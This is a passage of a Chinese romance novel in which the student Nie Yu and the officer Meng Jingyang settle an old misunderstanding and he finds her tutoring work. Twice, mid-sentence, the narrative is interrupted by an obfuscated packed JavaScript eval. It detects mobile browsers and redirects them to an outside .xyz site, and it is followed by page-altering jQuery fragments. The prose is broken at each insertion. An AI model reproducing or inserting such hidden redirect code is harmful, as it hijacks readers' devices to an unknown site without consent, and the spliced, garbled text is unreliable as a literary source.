“没有,我是说我自己,我自己过不了自己这关!”聂宇解释着,都有些发急了。她觉得自己说的够清楚了,从头到尾这所有的一切都源于她自己,跟孟京阳其实没有太大关系。她现在在做的,不过也是拯救自己罢了。 孟京阳仿佛是终于听懂了,他笑一笑,说:“好了,我明白了。” 他深深地凝视着聂宇,说:“那晚的事,对我来说确实是个意外,但过后我并没有往心里去。对于你的一时冲动,我后来也有所了解,能够体谅。但是聂宇——”他停了一停,仿佛在斟酌用词,“以后再有这样的情况,不要轻易选择出卖你自己,你不是随时都能有那晚的运气。” “我知道。”聂宇垂下头。有句话她不太好意思说,那就是在冷静下来之后,她也时常感激那一晚面对的人是孟京阳。 “还有就是——” 四个字,让聂宇再度提起了心,她抬眸,对上孟京阳的视线。 “我刚才那句,确实没有暗指什么。这一点,也希望你不要误会。”孟京阳瞅她,“既然是算账,那什么都要说清是不是?我不误会你,你也不要误会我。” “……嗯。”聂宇看着他,终于露出一个笑。 - 往后回家的路上,孟京阳和聂宇的话都少了。 聂宇是因为说完了该说的,再加上忙了一晚上,整个人都身心俱疲。而孟京阳,则是在回味整件事。 意外见到一位熟人的缘故,在比赛结束后,孟京阳迟了片刻才回到车边,正巧就撞上了聂宇被男同学示好的一幕。当时看着她手足有些无措,整个人都十分尴尬的样子,他没有想太多,就走过去帮她解围。 在他眼中,聂宇是同侄女天音一样的小辈,但又不完全是小辈。在照山那模糊了年纪的半个多月里,他亲眼目睹了她所有的鲜活、灵动、自然和明媚,有些时候并不能拒绝把她当做一个女人看待。尤其是,当她竭力表现的像个大人的时候。 但也只是如此了,孟京阳想,他不会也不应该再有更多的感触。可为什么,当厘清了两人之间所有的“误会”之后,他隐隐有一种怅然感,仿佛冥冥之中有一根连接着他和她的线,忽然彻底断掉了? 所幸,孟天音对车上的氛围暂无察觉,她絮絮叨叨地抱怨了团委书记一路,另外两人就一边听着,一边附和着,安全抵达了院里。 孟京阳自然是先送聂宇,女孩儿下车之后,难掩倦容地向他们道别。 “快点回去休息吧,这次你帮了我大忙,改天请你吃饭。”孟天音笑着对她说。 “吃饭可以,但用不着请了,咱俩谁跟谁。” 聂宇笑着说,然后将目光转向孟京阳,略收敛了几分。 “今晚也多谢您了小孟叔叔,辛苦您来回接送我们。” 这话说的诚心实意,孟京阳看着她这么快就能摆脱过去的影响,认准自己的定位,毫无波澜地称呼他一声“小孟叔叔”,心里倒挺佩服。 他略点了下头,没说什么。聂宇也没期待他有更多反应,便向孟天音挥了挥手,跑开了。 “小叔,走吧?” 几秒后,孟天音的声音自后排响起,孟京阳这才意识到自己在这儿莫名耽搁了一会儿,立时踩下油门,向家驶去。 - 进了家门,孟静东和妻子于恬都还没睡,见到女儿回来,忙问起比赛的情况。 到了父母面前,孟天音自然是极尽能事地吹嘘,把个二等奖吹的天上有地下无的。孟静东一边笑着给女儿捧场,一边打量着坐在对面沙发里的孟京阳,只觉得他看上去懒懒的,仿佛是累了。 “今天事出突然,也是辛苦你了。” 打发了女儿上楼去洗漱,又哄着妻子回房休息,孟静东给孟京阳倒了杯水,低声说。 “说这话。”孟京阳瞥他一眼,又道,“偶尔去大学校园熏陶一下也不错,感觉人都要年轻几岁。” “是这样?”孟静东拔高尾音,做出一副不信的样子,“那怎么瞧着你意兴阑珊的,不像是二十出头的样子啊。” “……”孟京阳对他哥这冷笑话也是服气,坐直了喝一口水,他说,“兴许是跟人算旧账累的。” “???” 这下孟静东是真不理解了,但孟京阳无意过多解释,将面前的一杯水饮尽,他拿起钥匙站起身就要走。 “明早还有个会,我今晚不在家住了,从我那儿去单位方便。” “你、你等会儿。”孟静东忙拦下他,“还有正事儿没说呢,你再给我十分钟。” 孟京阳面有狐疑,但还是坐下了。 “是这样。”孟静东搓了搓手,说,“就还是上回跟你提的那件事嘛,知道你肯定不会上心,就让你嫂子去帮着办了。她这些天也从单位或者亲朋好友那里搜罗了不少,拿回来好些张照片,我现在拿给你瞅瞅,你看看有没有可心的,抽时间去见一见?” “……”孟京阳伪作不悦,“你就为了这事儿耽搁我晚上睡觉?” “什么叫‘这事儿’,这事儿是小事儿吗?”孟静东板起脸来,“回来的路上遇见蒋云鹏,听他说蒋老爷子都要给他家孙女辈儿找对象了,你这个马上三十的人还没有着落,这像话?” “蒋老爷子的孙女?”孟京阳眉头微蹙,“蒋晓先?” “不是晓先就是聂宇。” 这些时日聂宇常来孟家,孟静东也算认识了她。但他想了想,又说,“不过瞧蒋云鹏不太上心的样子,这人怕是聂宇的可能性大一些。终究不是自家女儿,也懒得操那么多心。” “……”没再理会亲哥的唠叨,孟京阳陷入了沉思。 -19- 关于蒋铸要给聂宇安排相亲这件事,消息确实属实。但这并非蒋铸有意出尔反尔,而是事情来得太过凑巧。 因为聂宇的犟脾气,蒋铸原是歇了这份心思,只耐心等一年后。没成想那日儿子蒋云鹏下班回家时带回来一个消息,说是原燕城军区首长周继坤想解决自家儿子的个人问题,私下里正在动员别人介绍对象。 关于周继坤的儿子周明明,无论是蒋铸还是蒋云鹏都有所耳闻,前些年实在是闹得不像话,据说还涉及自家的小婶儿。但又听说这孩子近两年在陇城的快反部队表现得还不错,大有洗心革面重新做人的架势。若非如此,周家也不会着急忙慌地开始筹谋他的婚事,因为孩子实在是到岁数了,他自己不急,也唯有长辈操心了。 蒋铸一听说是周明明,心下多有不快。但听了儿子后续的描补,又觉得勉强可以考虑。是人都有年少轻狂的时候,只要肯浪子回头一心悔过,那还是要给人机会的。尤其是蒋铸听到周明明在部队屡立战功,连那位被他得罪得不轻的小叔也对他多有赞赏,顿时觉得这孩子是个可塑之才。能与这样一个知耻而后勇的人结成伴侣,对外孙女来说或许也是一个不错的选择。 心中拿定主意,蒋铸面上仍是一副踟蹰模样:“这小子到底行不行,他以前干的那些事可太叫人印象深刻了。” “嗨,您这都是哪一年的老黄历了,去年陇城军区大比武通信专业第一名就是这小子带队拿下的,要是没点定力和本事他能做到吗?是、以前是混了点,但后来不是痛改前非了吗?要不是有这样的决心这婚姻大事也耽搁不到现在了。” “那配小宇,能行?” 蒋铸难得有些拿不定主意,不是不放心周明明,而是不想在外孙女面前做个食言的人。 “爸,我明白您的意思。但现在是机会难得,周明明回来休假了,一个月后又要返回陇城,您不趁现在让两个孩子赶紧接触接触,等人走了可真是错过这个村就没这个店了!”蒋云鹏在父亲面前坐定,摘下帽子继续道,“而且又不是让他们看对眼了立马就结婚,可以先聊着谈着嘛,合适的话等明年小宇高考完再办婚礼。” “你说的有点儿道理,但小宇未必会答应,这事儿肯定会分她备考的心。” “她是小辈儿,她懂什么呀?您是她亲姥爷,我是她亲舅舅,能害她么?再说她高考为了什么呀,不就是想出人头地?可出人头地只有这一个法子吗?找个有本事的人嫁了,以后还愁没有扬眉吐气的时候?女人嘛,日子过轻松一点不好吗?小宇现在是年龄小,还没把这些道理想明白。等她明白的时候,知道有这个好机会让您给错过了,说不定还要怪您呢。” 蒋云鹏一副振振有词的腔调,听的蒋铸彻底动摇了。在他看来,女孩儿确实还是要以婚姻为重,至于学业和事业,那是锦上添花可有可无。原先他是顾忌破了自己一言九鼎的规矩,现在听了儿子的话,他觉得很有几分道理。聂宇她再有主见,终究是个孩子,如果有更轻松的路可以走,她说不定也会改变主意。 “那你先跟周家那边通个气吧,确定那边有意见面,我再告诉小宇。在此之前,谁也不要去她面前胡说。”一顿,斜儿子一眼,“尤其是你,在你老婆面前管好你的嘴。” “知道。”蒋云鹏悻悻道。 - 聂宇果真对此事一无所知,一是老爷子的刻意隐瞒,二是她现下另有心事。 随着旬城那边买定房子开始改造,有一件事再也忽略不得了,那就是钱。虽说大爸大妈有言在先会承担全部的费用,但以奶奶谢静芳的为人,为求尽善尽美定然还是少不了自掏腰包,如此以来,她们祖孙俩的财政就有些吃紧。 由于在燕城的吃住都有人负责,聂宇来到这里以后的花销并不大,哪怕不要那五千块钱也能顺利顾住自己。可现在她不光想节流了,她还想开源,也就是去外面赚钱,好贴补家里。 可赚钱这事儿又不能耽搁她日常的复习,所以那些全职工作就被她排除在外,只能见缝插针地找一些兼职。这样一来,选择就不够多了,聂宇考虑来考虑去,决定去当家教。 虽说今年高考落了榜,但聂宇的成绩却是实打实的优秀,除英语稍微差一些外,其余科目正常发挥都是能拿高分的水平。所以若说去当家教,聂宇还是有实力的,差就差在没有文凭上。而燕城又是个大学遍地的地方,其中顶尖高校连一只手都数不过来,她跟这些人比起来是当真没有优势。逢着这种情况,只能甘拜下风。 聂宇利用两个周日下午的休息时间,跑了附近好几个学生扎堆的社区,摆出了自己的小摊。倒是有人来问,但一听她没有文凭,甚至连个大学生也不是,就都没有下文了。聂宇碰了一鼻子灰,再加之在外奔波喝了一肚子凉风,当晚回去就有些胃疼。吃了止疼药不管用,她只好去院里的卫生所打吊瓶。 周末的夜晚,卫生所里异常安静,只有一个值班护士和医生在。聂宇坐在输液室里吊着针,看着头顶一闪一闪的白炽灯,心情有些沉重。她现在也不确定自己有没有出去当家教的必要了,耽搁珍贵的休息时间不说,怕是也赚不到几个钱。可她又控制不住地想给家里出份力,想替奶奶分担一些,所以这个念头一起,是怎么摁也摁不住了。聂宇最终决定再给自己一次机会,下周日休息的时候再出去跑跑看,如果实在不行就算了。等到她上了大学,她再去考虑赚钱的事。 忽而,有脚步声从诊室外的走廊里传来。聂宇微闭上眼睛,听着那颇富节奏和韵律的哒哒声,整个人都平静了下来。很快,有说话声传来,应该是那位值班护士和来人对话,一男一女,一低一轻,皆是十分悦耳。聂宇听着几乎都快睡着了,直到“嘎吱”一声响,输液室的门从外面被推开。 聂宇以为是护士来观察她的输液情况的,依旧合着眼。察觉到进来的脚步声有些陌生,她倏地睁开双眸,看向来人。只见,在距离她两步之遥的地方,站立着一个高个穿军装男人,他正垂眸审视着她,手里拿着一包药。 是孟京阳。 看清来人之后,聂宇有些吃惊,但顾忌着手背上还扎的有针,她没有大动。 “孟…孟叔叔。” 对着那身军装,她实在是叫不出来“先生”这样的字眼。但“孟叔叔”这三个字,听上去又有些古怪。不如加一个“小”字,能淡化那种差了辈分的隔膜。 孟京阳现如今对她喊自己什么都不觉得奇怪了,他抬眸瞧了瞧她挂的药瓶外的标签,用轻淡的口吻问她:“生病了?” “嗯……”聂宇想他这不是明知故问么,“胃不舒服,又有些低烧。” “怎么一个人在这儿输液,家里没人来陪你?” 孟京阳不提聂宇还不觉得,一说就觉得自己孤零零地来吊针确实是有些可怜。 “也没多远,就在院里,不用人陪。”聂宇嗓音有些沙哑地说,目光从他拿的药包上划过,又问,“您也不舒服?” “替老爷子拿的。”孟京阳又留意了下她正在输的液,然后看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367639|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她丢下一句,“我走了,你先输着。” 聂宇迟了会儿才“唔”一声,看着他卷着风离去,犹有些反应不过来。说实话,这次见面结束地有些仓促和草率。但似乎这样才是正确的,是应该属于他们的交集。在清算完过往之后,他们之间也只剩下这点交情了。 聂宇抬头看着药液一点点滴入输液管,有些出神。大概一刻钟后,门又从外面推开了,她木然地转过头去,再一次看到了孟京阳。这一次,聂宇有些傻眼。 孟京阳倒格外从容。 “没想到我会回来?以为我就那样走了?” 他在她身边落座,还将她用来搭腿的那件棉衣外套的袖子拎了起来,免得落到地上沾灰。 聂宇犹在发怔,她想不出来他去而复返的理由。 “路过你家的时候我进去问候了下,得知你姥爷和舅舅都不在家。而你舅妈又在家里照看你小外甥,不方便出来,所以我就再来看看你。毕竟承你一句‘叔叔’,这个长辈得当的有点样子,你说是不是?” 他说的不要太轻描淡写,但这个理由在聂宇这里完全不过关。她叫过的叔叔多了,可没有一个像他这样赶过来充长辈的! “孟——” 话刚出口,又顿住了。她现在已经不确定还要不要称呼他“叔叔”了! “不必麻烦了……”聂宇低声说。 “不麻烦。”孟京阳截住她的话头,“我在这儿略坐一坐,等接我的车来了,就走。” 聂宇:“……” -20- 聂宇觉得自己看不透孟京阳了,也更看不透自己。 刚才他就那样走了,她心里觉得空落。现如今他又回来,她仍觉得别扭。仿佛做题时遇到了一道难解的题,想破头皮也毫无头绪。 聂宇不禁有些生气,却也不知道是在气什么。 一旁的孟京阳对她此刻的情绪变化暂无察觉,因为他现在的心思在别的事上。 自那天听大哥孟静东提及蒋铸为外孙女安排相亲一事,他就将其放在了心上。原因也简单,早在照山的时候,他就已经设法探知这对祖孙的博弈,知晓聂宇豁出去来敲他门的缘由是不愿意拿自己的婚姻大事做交易。现如今旧事重提,以聂宇的性子,他真不知她会做出什么事来。 当然,这件事说到底跟他无关,更别提他们早已算清旧账。但是孟京阳思来想去,也无法装作不知情。究其缘由,大概是他对这个姑娘有那么些欣赏,所以不想再看她干出伤敌一千自损八百的事来。 不错,是欣赏,这是孟京阳最后为自己的那点怅然找到的答案。最初在照山见到的聂宇,是敞亮灵动,神采飞扬的。即便是不掺杂任何男女之情,她也足以吸引许多人的目光,包括他。所以孟京阳很欣然地接受了这个答案,不再庸人自扰。 “聂宇——” 在短暂的静默之后,孟京阳唤出聂宇的名字。这让正在发呆的她不自觉地抖了下肩膀,然后缓缓向他看过去。 孟京阳没有看她,目光投向别处,仿佛是在闲聊一般丢出一个问题:“自你来燕城后,你姥爷有再同你提过相亲的事么?” “……”聂宇肩膀又抖了下,不明白他怎么突然又提起这一茬,不是说好翻篇了吗? “你——” 聂宇想要控诉他,胃里一抽搐,话头顿时被卡住。 孟京阳这才意识到她的异样,他伸手欲扶她,被聂宇无声拒绝。就这样缓了片刻,那股痛意消散,聂宇靠坐了回去。只是经过这一番折腾,她已有些有气无力。 “不舒服了?”孟京阳微皱着眉头观察她的神色,“我去帮你叫下护士。” “不用。”聂宇声音低弱地说,“这不是在打着药么,一会儿就好了。” 孟京阳没听她的,还是叫来了人,确定没什么问题,才作罢。 聂宇全程没怎么说话,利用这个缓冲恢复了些气力。待诊室的大门又被关上后,她脸色苍白地问孟京阳:“你——是反悔了吗?” 这是连“您”也不用了。 孟京阳没太明白:“我反悔什么?” “不然,你又提相亲这件事!”聂宇都有些生气了,双眼冒着愤怒的小火苗。“相亲”这两个字实在是她的禁区,尤其是经面前这个人提及。 孟京阳终于了然,继而微哂。 “所以我不能在你面前提这两个字了,是不是?”他对上她的视线,那双眼因为怒意燃烧而异常明亮。 “不可以。”聂宇坚决道,却因为身体虚弱没什么气势,“提到它我就会想起在你面前做过的蠢事。” 聂宇觉得自己真是太轻信孟京阳了,还跟他掏心掏肺。结果呢,人家转头就拿她最在意的那件事来刺激她。或许,他跟她在干休所见到的那些纨绔子弟根本就没什么不同,就喜欢拿那些前赴后继扑向他们的年轻姑娘当谈资,跟一群人坐在一起喝酒聊天的时候拿她们当下酒菜。若真是这样,那他可就大错特错了,她不是这样的人。 聂宇犹在心里气愤着,孟京阳见状,却是稍稍放下了担忧。看来蒋老爷子还没跟她提相亲的事儿,大概是还没拿定主意,亦或者根本就是蒋云鹏随口一提。总之,目前还无事发生。 “好吧,我的错,你消消气。”孟京阳收回思绪,出言安抚她,“我不提这件事了,但之前跟你说的话,你最好也能记住。” “……”聂宇没吭声。她想,她还用不着他来教育。 - 两人之间消停了片刻。孟京阳展开了一张报纸在看,聂宇在旁平复着情绪,不经意地也将目光落在了报纸上。这一落,可不要紧,报纸上竟然有招聘消息。 其实这是报纸上很常见的板块,只是她从前不曾留意过罢了。聂宇凭借着自己绝佳的视力在一旁偷偷浏览着,看有没有适合自己的兼职工作。由于看的太过沉迷,以至于孟京阳都无法忽略她了。他看了她一眼,顺着她的视线重新回到报纸上,确认了她在看什么之后,他出其不意地问:“你想找工作?” “没有。”聂宇下意识否认,但眼中的惊慌和讶异却做不得假。她就差把“你怎么知道”五个大字写在脸上了。 孟京阳依旧瞅着她不错眼珠,仿佛是想看她能编出来什么谎话。聂宇没辙,稍稍移开了视线,是回避,也是默认。 “缺钱?”他打听着缘由,心里觉得不大可能。蒋老爷子既然把人接来了,就没有不善待的道理。 “不缺。”聂宇说,“但谁又会嫌钱多呢,有机会就赚一点。” “那你想做什么?”他问,“是不是已经尝试过了?” 聂宇简直佩服他的眼力。 “我可以告诉你,但请你别告诉我家里。”一顿,她老实交代道,“我想当家教,正在找看有没有合适的学生。” 孟京阳对此毫不意外,像她这种情况的学生,做家教往往是第一选择。不过也因为此,竞争非常激烈,她找不到也正常。 孟京阳自问,他是否能帮到她。 “你擅长什么科目?”他将报纸叠起,开始认真地跟她谈这件事。 “都可以。一般补数理化的多一些,这三门我都没问题。英语、英语我可以附赠,因为我这一科差一些,我们可以互相学习。”聂宇微抿唇,觉得有些干。 “数理化——”孟京阳沉吟片刻,说,“数学和英语如何?小学生。” “小学生?”聂宇有些意外,她原本是打算找高中生的。这样在上课之余,她也可以见缝插针地补习知识点。 孟京阳失笑:“你倒是挺敢想,高中生去教高中生。”一顿,“如果是小学生的话,我可以多找几个人一起来上课,这样你可以打一份工赚几份钱。” 性价比这么高吗?聂宇有些动摇。 “确定可以吗?”她满含希冀地问,这会儿态度倒是好了很多。 孟京阳没有立刻应下,毕竟这也是一件严肃的事。 “你等我消息。”他说。 11.21-22 -21- 定下这件事,聂宇心中雀跃了几分。同时,又有一些惭愧:自己是不是有点儿用人朝前不用人朝后了?这两幅面孔可不太好。 聂宇寻思着说些什么,既表示一下自己的感谢,又能不太跌份儿地缓和一下刚才的氛围。只是没等她想出来,孟京阳又站了起来,去叫护士—— 她的吊瓶打完了。 - 当晚,孟京阳将聂宇送回了家就离开了大院。临别前,两人约定有消息就会立刻通知她。 聂宇道了谢,自此就开始了焦心的等候。前三天还好,待到第四天还没有任何音讯,她就有些坐不住了,脑子里开始冒出各种不好的念头。比如他兴许是忘了,或者他根本就没当做一回事儿? 聂宇在心里暗骂自己不长记性,又一次轻信了孟京阳。明明刚以为自己看清了他的真面目,怎么对方稍一施些小恩小惠她就兜不住全招了呢?该不会,他从自己这里套完了话转头就告诉她姥爷了吧? 聂宇不怕这事儿被家里人知道,她能找出很多理由遮盖过去。但如果能瞒着,她还是不想自找麻烦的。 聂宇不由有些灰心,只等周日这天再出去兜一圈转转运气。结果在周六晚入睡前,有一通电话打进了家里,指名就是找她的。 因为在书房看书,电话恰巧是聂宇接的,听到那头传来孟京阳的声音,她一时不免有些激动。 “怎么才打过来!”因为激动,聂宇没有克制,不小心说出了心里话。 那头孟京阳顿了下,解释道:“这周出差了,下午刚回来。不过你的事我已经帮你问好了,院里有几个家长愿意将孩子送过来,让你利用周末时间给他们补习功课。我替你定了明天下午先试讲一节,如何?” “可以,可以的。”聂宇一口应下,又问,“有几个孩子啊,都是小学生吗?” “差不多,最小三年级,最大五年级。你主要是负责帮家长们盯一下作业,这个不分科目,然后再利用一节课的时间教授英语,这个不分年级。任务不算重,我觉得你应该做得来。” 现阶段的教育对小学生还没太高的要求,对应的家长报补习班的需求也不大。但孩子的作业对有些家长来说是一个难题,所以孟京阳对症下药,将聂宇的主要工作内容改了一改。这样既能满足家长的需求,让上课的孩子们有所收获,也能让聂宇赚到钱。 聂宇也觉得他这个安排不错,只是有一个问题还需要解决。 “我们在哪里上课呢?你说的院里是哪里?” “是我住的地方。”孟京阳说,“你要愿意,可以直接来我家上课。” “啊?”聂宇傻眼,去他家?? “不是你说想暂且瞒着家里?那只有我这个地方最合适。否则你还能找到哪里?”孟京阳在那头问。 聂宇想了想,觉得确实如此。图书馆是不太方便的,孩子们进来也会吵吵闹闹。其他地方呢,她暂时也没有主意,而且保不齐还要有额外的场地支出。只是——孟京阳家里?聂宇怎么想怎么觉得不好,这是不是太麻烦他了? “会不会打扰到你?”聂宇有些迟疑地问。 “只用周日半天,扰不到哪里去。你与其担心这个,不如想想怎么约束那几个小鬼头,让他们不要吵到邻居。”孟京阳不以为意道,又说,“我接下来两个月大概会比较忙,是顾不上回家的。” 话都说到这个份儿上了,聂宇不再忸怩,先应了下来。 “那我明天先试试,等确定了能上课,再谈其他?” “可以。”孟京阳告知了她具体地址,又同她约定了上课时间。确认了这些之后,俩人挂断了电话。 - 第二天中午,吃过午饭之后,聂宇就收拾东西打算出发。他们约的是两点,但她想早一点到,这样可以提前熟悉下“教室”环境,摆放一下桌椅。 聂宇满是干劲地出了门,刚出院就遇到了出差提前归来的舅舅蒋云鹏。他看她带着东西一副要出门的样子,便问她去哪里。 聂宇撒了个谎,说是想去市新华书店选几本学习用的书。蒋云鹏没有多问,只是提出让司机送她,被聂宇婉拒了。 “今天天气这么好,我想坐公交车去,路上走慢点看看风景。”聂宇笑说。 “你倒是蛮有情致。” 蒋云鹏笑了笑,没再勉强她。只是看着聂宇渐渐走远,心里生出一些遗憾。 上次说的相亲那件事,他已经托中间人同周家提了。那边知晓聂宇的底细,对这个人选不是很满意,但因着自家儿子也是有“前科”的,便也没有特别挑剔,应允了说儿子同意的话就可以见一面。结果没想到周明明拒绝了,不光是拒绝了聂宇,也拒绝了其他所有的相亲对象,甚至发话说如果家里再催着他找对象,他就立刻销假回部队。 于是这事就这么搁置下了,让蒋云鹏颇为遗憾。在他看来,外甥女这相貌已经算是非常不错,肯定能入外人的眼。所以他忍痛压下了自己的女儿,选了聂宇。不成想周明明决心这么大,那也只得作罢了。 但既然动了此念,想压是压不住的。蒋云鹏打定主意,若是有合适的还是要极力撺掇,不管聂宇愿不愿意! - 聂宇这边,还不知自己刚暂时逃过一劫。她乘着公交车七拐八拐地抵达了孟京阳发来的地址,在大门的入口处被卫兵拦下,让她拨电话请人来接领。 对此聂宇并不意外,她早就猜到了上课的地点是某部队大院,为此出门前还特地带上了自己的证件。只是,卫兵并没有核查。 打完电话不到五分钟,孟京阳就出现了,而且是开着车过来的。聂宇有些意外,但还是在他的示意下上了车。 “来的挺早。”在她关上车门后,孟京阳说。 “先过来做下准备。”聂宇说着捋了下头发,居然有些紧张。 孟京阳瞧着她,也有一些意外,因为她今天的打扮颇为成熟,呢子外套加牛仔裤,很有老师的风范。只是,她稍微做一些小动作便泄露了自己真实的心理状态,看起来还是有些没底。 “怎么开车来?”聂宇向外面望了望,“很远吗?” “有一些。”孟京阳说。 最主要的是,他不便跟她一起出现在院里,否则第二天就会传出流言,对他们两人都不好。尤其,是对她。 “我开慢些,你认认路,以后我不在的时候,你就得自己过来。”孟京阳稍微放慢车速,沿着路旁叶子落尽的银杏树徐徐向前行驶。 “好。”聂宇认真地看着窗外,没多久便分心想到一个问题,“以后我来的时候门岗还让人接领怎么办?” “无妨。”孟京阳直视着前方,神色悠然,“门岗那边我已经交代过了,下一次不会再拦你。” 而这一次之所以会让人来接领,主要还是要带她认下路。 聂宇这会儿也反应过来了,悄悄瞅他一眼,心想这人还蛮细致,不由得抿唇笑了下。 几分钟后,车子停到了楼前。聂宇开门下车,有风吹来,将她特意披散在脑后的头发吹的炸起。聂宇惊了下,连忙抬手去抓,整个人手忙脚乱的。 孟京阳早就将车子停好了,见她迟迟没跟上来,便在一旁等着,看着她整理头发的窘态,神情还挺闲适。聂宇心想自己又丢丑了,一时间有些着恼,却拿这风,这发,这人没办法。干脆快跑几步,进了单元楼,避过了风头,又将原本胡乱扎起的头发散开了,动作隐隐带着些气。 恍惚间,似乎是听到低笑声响起,聂宇让自己尽量别在意。毕竟,这人现在是自己的财神爷。 - 两人一同上了三楼,推开门一看,客厅中央有几个小孩儿正围在一张桌子玩游戏,见有人进来,齐齐向这边望了过来。而聂宇则是有些吃惊地看着他们,她没想到学生比老师来的还早。 “他们怎么这么早就过来了?”聂宇低声问孟京阳。比定好的时间早了半个多钟头呢。 “没辙,好不容易有人帮忙带孩子,家长们一激动,就提前撵过来了。” 孟京阳也有几分无奈,他已经当了二十分钟孩子王了。 聂宇倒是难得见他吃瘪,刚刚丢丑的尴尬瞬间消散。她把包摘下放到一旁,然后走到桌前,看他们在玩什么。 “是军棋呀。”聂宇稍稍放缓了自己的声音,尽量让孩子们听起来觉得和蔼可亲。 “老师,你就是来给我们上课的老师吗?”桌子中间,一个小男孩儿抬头问道。 “对,我姓聂,你们叫我聂老师就好。”聂宇笑着对他说。 “聂老师好,我姓孟,叫孟天放,上小学三年级,很高兴认识你。” 小男孩儿乖巧地向聂宇做自我介绍,而聂宇早就知道他了,这可是天音的弟弟。 聂宇奖励似的摸了摸他的脑瓜,然后又看向其他小朋友。在孟天放的带领下,他们也都各自做了自我介绍。 聂宇非常满意这个气氛,一时忘了看表,抬起手拍了两下,说:“现在小朋友们把东西收好,我们准备上课吧。” “……” 孩子们没有动静,他们互相看了看,又回过头看孟京阳—— “老师,还没到两点呢,我们还想再下会儿棋。”孟天放睁着圆圆的眼睛说。 聂宇:“……”呃,尴尬了。 -21- 出师不利,聂宇走到一旁的沙发边坐下,静待两点的到来。而孟京阳则是利用这点时间给她倒了杯水,还贴心地提供了清嗓的含片。 聂宇不确定他有没有注意到刚才那个小插曲,道过谢之后,她问孟京阳:“待会儿孩子们的家长会来吗?” 毕竟是试讲,家长们应该是要过来旁听一下,检验一下她这个老师的水平吧。 “不来。”孟京阳说。 “那他们怎么确定我这个老师合不合格呢?” “不是有我么?”孟京阳反问,“我作为孟天放的家长,全权代表了。” “……”聂宇瞅着他,眨眼的速度都慢了下来。 “怎么,我不够格么?”孟京阳也给自己倒了杯水,一气饮下半杯,含着一种独特的清润嗓音发问。 “怕你借机徇私。” 聂宇低声说,不怎么有底气。孟京阳察觉了,自然就懒得反驳她。说是私,他为她赚钱方便特意召了这么一群小鬼头到家里来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371615|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才是徇私吧?这位聂老师啊,可真有点儿没良心。 “我带你四处看看吧。”孟京阳说。 - 他带着聂宇在房间里转了转。 这套房子是以前待过的老部队分下来的,自他去读研和国外交流之后一直为他保留着,没有收回。回国之后,因为新单位同在燕城,孟京阳就仍是住在这儿,没有搬到司令部大院去。在他看来,早晚有一天他要下部队,到时候将东西一起搬走,也省得中间折腾了。 “空间不大,但你和孩子们上课是够了。客厅、厨房和卫生间摆放的东西都可以用,有什么不够的直接告诉我,我让人去配齐。” 回到客厅后,孟京阳对聂宇说。 聂宇“唔”一声,思绪仍在房间里到处转。看得出来,孟京阳是拿这里当宿舍了,除了必要的生活用品之外没有多余的东西。由此也可以证明这套房子确实不够“私人”,所以可以毫无顾忌地拿来当“教室”。 不过对孟京阳来说,这仍算是一种“牺牲”吧。 “谢谢你,小孟叔叔。” 聂宇由衷道,为他的各种支持和帮助。 孟京阳似笑非笑地看她一眼:“你现在是老师,犯不着对学生家长这么客气。”压下眉眼,“上课吧。” - 第一次当老师,学生又是不好管束的小学生,聂宇确实有几分紧张。但凡事都有一个适应过程,待她渐渐适应了老师这个角色之后,便能慢慢做到游刃有余了,拿捏起手底下这几个小学生来,堪称得心应手。 聂宇先是给他们上了一节英语课,介绍了二十六个英文字母,又教了一些基础对话。结束之后,她让他们把各自的作业取出来,没做完的做完,有不会的就请教她这个老师。而她则是默默地记下每个学生的疑难点,准备回去整理相关的习题,供他们课后举一反三。 聂宇很清楚,自己这个老师是依着孟京阳的面子才当上的,所以她就更不能懈怠。她要努力让这些家长看得到孩子们的进步,让他们知道钱没白花,她这个老师有水平。这样一来,她也算是能给孟京阳一个交代了。 在聂宇上课的过程中,孟京阳一直坐在后面的沙发上旁听。但他并非全程都在认真听,而是一心两用:一边看带回来的工作报告和文件,一边分出神来听聂宇讲课。而聂宇也趁着孩子们都在埋头做作业的时候,偷偷打量孟京阳,只见他手里拿着一只铅笔,时不时在面前的纸上圈改写划,神情十分认真。甚至连她投过去的目光,都没有察觉。 每到这个时候,聂宇都在想:其实孟京阳是个还不错的人,她以后不能再诋毁他了,偷偷地也不行。 - 下午五点,来上课的孩子们都写完作业,收拾东西离开了。只有孟天放,因为一篇语文小作文迟迟没写好,不仅放不了学,还得不到聂宇的奶糖奖励。小朋友不免有些急,手一用力,在用橡皮擦错别字的时候将纸弄破了,嘴巴一瘪,就想哭。 聂宇摸了摸他的小脑瓜,问他:“你着什么急呢,老师一直在陪着你呀。” “可是他们都写完了,都走了,还把糖也拿走了!”小朋友不乐意。 “是这样么?”聂宇有些想笑,“糖我给你留着呢,只要写完了,老师肯定会给你。至于作业嘛,每个人都有自己的节奏,就像走路和吃饭的快慢一样。你可以先保质保量地完成,然后慢慢提高自己的速度。” 聂宇原想告诉他速度不重要,但考试的时候可是有时间限制的,他写得慢肯定会影响答卷速度。所以,只能换个说法安慰他。 孟天放眨巴眨巴眼睛,像是把聂宇的话听进去了,可是看到被他弄破的作业本,又皱起眉。 “这个怎么办呀。”他问聂宇。 